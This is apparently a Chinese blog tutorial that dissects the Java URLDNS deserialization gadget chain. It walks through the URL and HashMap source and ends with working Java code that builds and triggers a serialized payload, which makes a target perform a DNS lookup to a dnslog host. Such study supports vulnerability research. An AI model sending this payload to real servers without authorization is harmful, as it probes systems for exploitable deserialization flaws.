Java反序列化之URLDNS链
首先先提出2个核心疑问:
-
为什么 URL.hashCode 必须是 -1 才会触发 DNS?
-
HashMap 反序列化源码到底干了什么?
一、先搞懂:URL 类的 hashCode 底层设计(关键)
1. URL 源码核心字段
public final class URL implements Serializable {
// 私有变量,默认写死:-1
private int hashCode = -1;
// 核心方法
public synchronized int hashCode() {
// 判断①:如果不等于 -1,直接返回缓存值
if (hashCode != -1) {
return hashCode;
}
// 判断②:只有 hashCode == -1 才会走到这里
// 去请求DNS、解析域名、计算哈希值
hashCode = handler.hashCode(this);
return hashCode;
}
}
2. 为什么默认是 -1?
JDK 对 URL 做了懒加载优化:
-
域名解析(DNS)是网络操作,很慢、耗性能;
-
所以 JDK 设计:不主动解析域名;
-
用 hashCode = -1 标记:当前 URL 还没计算过哈希、还没解析过域名。
3. 两种状态彻底分清
-
状态 A:hashCode = -1
代表:未初始化 → 必须解析域名 (DNS) → 算出哈希 → 把结果存起来覆盖掉
-
状态 B:hashCode ≠ -1
代表:已经算过、已经解析过 DNS → 直接用缓存值 →
永远不会再触发 DNS
4. 为什么必须强行把 URL 的 hashCode 改回 -1?
-
我们本地写代码 new URL("xxx.dnslog.cn") 放进 HashMap 时,本地已经自动算过一次 hashCode;
-
此时这个值已经变成正常数字,不是 -1;
-
如果不重置,目标机器反序列化时,读取到的 URL 是已缓存状态,直接 return,不会走 DNS 逻辑;
-
所以:反射强制改回 -1 = 强制让目标机器重新解析域名。
二、逐行讲明白:HashMap 反序列化源码
1. 普通类反序列化
普通 Java 类反序列化:
只还原成员变量,不会主动调用任何方法。
2. HashMap 不一样:重写了 readObject()
HashMap 是集合,不能简单还原字段,所以 JDK 开发者自己写了反序列化逻辑:
// HashMap 自定义反序列化方法
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 1. 先还原基本属性
s.defaultReadObject();
// 2. 读取集合里有多少个键值对
int size = s.readInt();
// 3. 循环:把每一个 key 和 value 单独反序列化
for (int i = 0; i < size; i++) {
// 把我们的 URL 对象,反序列化出来
K key = (K) s.readObject();
V value = (V) s.readObject();
// ========== 致命关键 ==========
putVal( hash(key), key, value, false, true );
}
}
3. 拆解 hash(key) 方法
static final int hash(Object key) {
if (key == null) return 0;
// 强行执行:key.hashCode()
int h = key.hashCode();
return h ^ (h >>> 16);
}
核心结论
HashMap 在反序列化的过程中,会主动、强制调用每一个 key 的 hashCode() 方法
这是整个 URLDNS 能打出来的唯一前提。
换成 ArrayList、LinkedList 就不行,因为它们反序列化不会主动调用 key 的 hashCode。
三、串联:URL + HashMap 组合攻击完整流程
步骤 1:攻击者本地构造
-
创建恶意 URL 对象:new URL("http://你的dnslog地址")
-
把这个 URL 当做 key,存入 HashMap
-
此时本地 JVM 会自动调用 url.hashCode(),DNS 本地解析一次,hashCode 被赋值为非 -1
-
关键操作:反射修改 URL 私有字段 hashCode = -1
-
把整个 HashMap 对象序列化,生成 payload 二进制数据
步骤 2:目标服务器触发反序列化
目标接口接收 payload,执行 ObjectInputStream.readObject()
-
进入 HashMap.readObject()
-
循环读取 key(就是我们构造的 URL 对象)
-
执行 hash(key) → 调用 URL.hashCode()
步骤 3:URL 逻辑触发
URL.hashCode == -1 成立 ↓ 进入 handler.hashCode() ↓ 调用获取主机方法 ↓ InetAddress.getByName(域名) ↓ 操作系统发起 DNS 查询
步骤 4:结果
DNSLOG 平台收到解析记录 → 证明目标存在反序列化漏洞。
四、极简浓缩版
-
HashMap 特性:反序列化时,强制执行 key.hashCode ()
-
URL 特性
-
hashCode=-1 → 触发 DNS 域名解析
-
hashCode≠-1 → 读取缓存,无 DNS
-
-
利用手法:
正常创建 URL 会自动缓存哈希 → 反射重置为 -1
-
最终链条:
反序列化readObject → HashMap.readObject → hash(key) → URL.hashCode() → DNS请求
五,map.put(key,value)的底层逻辑
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
// 这里直接调用 key.hashCode()!
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
-
不是 HashMap 的 writeObject 序列化过程调用的
-
是你自己执行 map.put() 时,HashMap 为了算 key 的位置,主动调用了 url.hashCode()
-
这一调用,会直接把 url.hashCode 从 -1 改成一个具体数字
-
所以你必须用反射把它改回 -1 ,不然序列化后的对象里, hashCode 已经不是 -1 了
六,代码示例
//序列化
package org.example;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class Serialize {
public static void main(String[] args) throws Exception {
URL url = new URL("http://xxx.com");
HashMap<Object,Object> map = new HashMap<>();
map.put(url,"123"); //触发url.hashCode()
//使用反射修改hashcode的值
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,-1);
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(map);
oos.close();
}
}
//反序列化
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Deserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
ois.readObject();
ois.close();
}
}
更多推荐
所有评论(0)